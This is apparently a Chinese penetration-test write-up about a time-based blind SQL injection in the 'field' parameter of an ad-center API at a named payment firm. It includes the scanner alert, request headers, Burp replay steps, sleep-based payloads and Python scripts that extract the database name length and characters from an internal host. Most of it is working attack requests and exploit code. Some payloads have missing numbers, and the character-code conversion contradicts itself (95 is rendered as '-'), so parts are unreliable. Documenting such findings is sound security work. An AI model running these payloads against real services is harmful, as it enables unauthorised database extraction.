执行的SQL语句
SELECT COUNT() FROM t_ad WHERE (a`openrasp = ? AND delete_flag = ? AND ad_id <> ?)
应用堆栈
com.mysql.jdbc.ConnectionImpl.prepareStatement
com.mysql.jdbc.ConnectionImpl.prepareStatement
com.alibaba.druid.pool.DruidPooledConnection.prepareStatement
sun.reflect.GeneratedMethodAccessor177.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
java.lang.reflect.Method.invoke
org.apache.ibatis.logging.jdbc.ConnectionLogger.invoke
com.sun.proxy.$Proxy193.prepareStatement
org.apache.ibatis.executor.statement.PreparedStatementHandler.instantiateStatement
org.apache.ibatis.executor.statement.BaseStatementHandler.prepare
org.apache.ibatis.executor.statement.RoutingStatementHandler.prepare
org.apache.ibatis.executor.SimpleExecutor.prepareStatement
org.apache.ibatis.executor.SimpleExecutor.doQuery
org.apache.ibatis.executor.BaseExecutor.queryFromDatabase
org.apache.ibatis.executor.BaseExecutor.query
org.apache.ibatis.executor.CachingExecutor.query
com.github.pagehelper.PageInterceptor.intercept
org.apache.ibatis.plugin.Plugin.invoke
com.sun.proxy.$Proxy192.query
org.apache.ibatis.session.defaults.DefaultSqlSession.selectList
org.apache.ibatis.session.defaults.DefaultSqlSession.selectList
org.apache.ibatis.session.defaults.DefaultSqlSession.selectOne
sun.reflect.GeneratedMethodAccessor469.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
java.lang.reflect.Method.invoke
org.mybatis.spring.SqlSessionTemplate$SqlSessionInterceptor.invoke
com.sun.proxy.$Proxy123.selectOne
org.mybatis.spring.SqlSessionTemplate.selectOne
org.apache.ibatis.binding.MapperMethod.execute
org.apache.ibatis.binding.MapperProxy.invoke
com.sun.proxy.$Proxy132.selectCount
com.transsnet.palmpay.adcenter.service.impl.AdServiceImpl.fieldIsExist
com.transsnet.palmpay.adcenter.service.impl.AdServiceImpl$$FastClassBySpringCGLIB$$37b08d2.invoke
org.springframework.cglib.proxy.MethodProxy.invoke
org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed
org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed
org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept
com.transsnet.palmpay.adcenter.service.impl.AdServiceImpl$$EnhancerBySpringCGLIB$$e821b668.fieldIsExist
com.transsnet.palmpay.adcenter.controller.AdController.fieldIsExist
com.transsnet.palmpay.adcenter.controller.AdController$$FastClassBySpringCGLIB$$f8486f5c.invoke
org.springframework.cglib.proxy.MethodProxy.invoke
org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed
org.springframework.aop.aspectj.MethodInvocationProceedingJoinPoint.proceed
com.transsnet.palmpay.aspect.LogAspect.aroundAdvice
sun.reflect.GeneratedMethodAccessor325.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
java.lang.reflect.Method.invoke
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethodWithGivenArgs
org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod
org.springframework.aop.aspectj.AspectJAroundAdvice.invoke
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed
org.springframework.aop.interceptor.ExposeInvocationInterceptor.invoke
org.springframework.aop.framework.ReflectiveMethodInvocation.proceed
org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept
com.transsnet.palmpay.adcenter.controller.AdController$$EnhancerBySpringCGLIB$$fa54a273.fieldIsExist
sun.reflect.GeneratedMethodAccessor1161.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
java.lang.reflect.Method.invoke
org.springframework.web.method.support.InvocableHandlerMethod.doInvoke
org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest
org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal
org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle
org.springframework.web.servlet.DispatcherServlet.doDispatch
org.springframework.web.servlet.DispatcherServlet.doService
org.springframework.web.servlet.FrameworkServlet.processRequest
org.springframework.web.servlet.FrameworkServlet.doPost
javax.servlet.http.HttpServlet.service
org.springframework.web.servlet.FrameworkServlet.service
javax.servlet.http.HttpServlet.service
io.undertow.servlet.handlers.ServletHandler.handleRequest
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.boot.web.filter.ApplicationContextHeaderFilter.doFilterInternal
org.springframework.web.filter.OncePerRequestFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
com.alibaba.druid.support.http.WebStatFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.boot.actuate.trace.WebRequestTraceFilter.doFilterInternal
org.springframework.web.filter.OncePerRequestFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.web.filter.RequestContextFilter.doFilterInternal
org.springframework.web.filter.OncePerRequestFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.web.filter.HttpPutFormContentFilter.doFilterInternal
org.springframework.web.filter.OncePerRequestFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.web.filter.HiddenHttpMethodFilter.doFilterInternal
org.springframework.web.filter.OncePerRequestFilter.doFilter
io.undertow.servlet.core.ManagedFilter.doFilter
io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter
org.springframework.cloud.sleuth.instrument.web.TraceFilter.doFilter
完整Header信息
accept: */*
accept-encoding: gzip, deflate
appsource: 4
connection: keep-alive
content-length: 132
content-type: application/json;charset=UTF-8
countrycode: NG
host: 172.29.68.103:18129
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d
user-agent: Java/1.8.0_251
x-b3-parentspanid: 154c092e7e6195b1
x-b3-sampled: 0
x-b3-spanid: d30b9335df6a2b00
x-b3-traceid: 154c092e7e6195b1
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
x-span-name: http:/api/ad/fieldIsExist
请求Body
HTTP Request:
POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: 154c092e7e6195b1
x-span-name: http:/api/ad/fieldIsExist
countrycode: NG
x-b3-sampled: 0
accept: */*
x-b3-spanid: d30b9335df6a2b00
x-b3-traceid: 154c092e7e6195b1
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d
{"field": "a`openrasp", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null}
响应包
HTTP Response:
HTTP Code:200
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: fe3ecf80f53a40bc9d2d91f4b00ad84d
Transfer-Encoding: chunked
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Wed, 30 Jun 2021 09:43:55 GMT
{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}
将请求包丢入到Burp的Repeater进行重放测试
关键字openrasp
所在的位置为可能存在注入的地方
尝试将openrasp
字样删除 结果还是返回An unknown error occurred in the ad-center service
将a
后面跟上'
—– 报错
此时的SQL语句大概为
SELECT COUNT() FROM t_ad WHERE (a' = ? AND delete_flag = ? AND ad_id <> ?)
将a
后面跟上and 1=1--
—– 报错
SELECT COUNT() FROM t_ad WHERE (a' AND 1=1 -- = ? AND delete_flag = ? AND ad_id <> ?)
将a
修改为数字1
—– 成功
SELECT COUNT() FROM t_ad WHERE ( = ? AND delete_flag = ? AND ad_id <> ?)
直接尝试select version()
—— 成功
SELECT COUNT() FROM t_ad WHERE (select version() = ? AND delete_flag = ? AND ad_id <> ?)
返回包显示Success,猜测可能语句执行成功,但是没有返回点,故此通过sleep(3)
来进行判断
可以看到burp提示了3秒钟,尝试修改为5秒
确认存在SQL注入
Payload
select version() union select sleep()
SELECT COUNT(1) FROM t_ad WHERE (select version() union select sleep(5) = ? AND delete_flag = ? AND ad_id <> ?)
Payload Request
POST /api/ad/fieldIsExist HTTP/1.1
appsource: 4
x-b3-parentspanid: 154c092e7e6195b1
x-span-name: http:/api/ad/fieldIsExist
countrycode: NG
x-b3-sampled: 0
accept: */*
x-b3-spanid: d30b9335df6a2b00
x-b3-traceid: 154c092e7e6195b1
host: 172.29.68.103:18129
connection: keep-alive
content-type: application/json;charset=UTF-8
user-agent: Java/1.8.0_251
x-iast-filter: W3sidHlwZSI6ICJzcWwiLCAiZmlsdGVyIjogeyJxdWVyeSI6ICJhYG9wZW5yYXNwIn19XQ==
scan-request-id: 3-c621c0e4-7ccb-47ad-96b4-b14769682c5d
Content-Length: 162
{"field": "select version() union select sleep(5)", "value": "TESTAPPAD01", "applicationId": null, "adId": "13CD98DA973B443D8B1E80AD44BBA409", "platform": null}
Payload Response(return time 3)
HTTP/1.1 OK
Connection: keep-alive
X-Protected-By: OpenRASP
X-Request-ID: 92950d5328554e1dbc5819f54fb976a7
Content-Type: application/json;charset=UTF-8
X-Application-Context: ad-center:dev:18129
Date: Thu, 01 Jul 2021 06:53:40 GMT
Content-Length: 92
{"respCode":"11","respMsg":"An unknown error occurred in the ad-center service","data":null}
原理就是通过传入一个数值,通过if语句来判断length(database())是否等于,如果等于就sleep(5)秒,否则返回
Tips:该接口有个比较奇怪的问题,如果该长度等于数据库长度,那么正常会先sleep(5)秒,再返回,但是在该接口中,并不会返回,会一直卡着,比如循环跑到13的时候卡住了,没有输出14的payload那么很有可能数据库的长度就是14 该问题,后续所有Fuzz都会遇到,只需要手工取出来,然后加1即可
Payload
if (length(database())=,sleep(),)
跑到这里的时候卡住了,那么只需要取值14即可,如何判断这个长度是14呢,将payload导入到burp中重放就可以了
长度为13的时候返回非常的快,长度14的时候返回非常慢,故此可以判断数据库名的长度为14
{
"field": "if (length(database())=14,sleep(5),0)",
"value": "TESTAPPAD01",
"adId": "13CD98DA973B443D8B1E80AD44BBA409"
}
def getDataBasesLengthSqlFuzz():
for Count in range(1, 100):
data = {
"field": "if (length(database())={},sleep(5),0)".format(Count),
"value": "TESTAPPAD01",
"applicationId": None,
"adId": "13CD98DA973B443D8B1E80AD44BBA409",
"platform": None
}
result = requests.post(url=url, headers=headers, data=json.dumps(data))
print(result.json())
print(json.dumps(data))
print('=' * 100)
原理是使用substr取database的每一位字符转成ascii与1-128进行比较,然后返回一个ascii,再进行转换就可以得到一个字符,最后将14个字符拼接起来就是数据库名
ps:这里传入的长度只能用手工来传入,例如要跑数据库名的第一个字符的值是多少,就需要传入1,第二个就需要传入2,以此类推直到14,不可以使用循环,如果使用循环,程序会卡住,问题跟上文一样,并且每一次循环获取到的值都需要加1
Payload
if (ascii(substr(database(),{xxx},))={xxx}, sleep(), )
第一个字符 97
第二个字符 100
第三个字符 95
第四个字符 99
第五个字符 101
第六个字符 110
第七个字符 116
第八个字符 101
第九个字符 114
第十个字符 95
第十一个字符 100
第十二个字符 97
第十三个字符 116
第十四个字符 97
为了确认长度是否是14,再跑一次长度15
程序直接跑完了,并没有卡住,很显然,长度为14
ASCII字符:97 100 45 99 101 110 116 101 114 45 100 97 116 97
转换为字符:a d - c e n t e r - d a t a
数据库名为:ad-center-data
Pyaload Json
{
"field": "if (ascii(substr(database(),15,1))\u003d127, sleep(3), 0)",
"value": "TESTAPPAD01",
"adId": "13CD98DA973B443D8B1E80AD44BBA409"
}
Poc
def getDataBaseNameSqlFuzz(length):
for j in range(1, 128):
data = {
"field": "if (ascii(substr(database(),{},1))={}, sleep(3), 0)".format(length, j),
"value": "TESTAPPAD01",
"applicationId": None,
"adId": "13CD98DA973B443D8B1E80AD44BBA409",
"platform": None
}
result = requests.post(url=url, headers=headers, data=json.dumps(data))
print(json.dumps(data))
print(result.json())
print('=' * 100)
测试环境突然更新,暂时无法继续获取表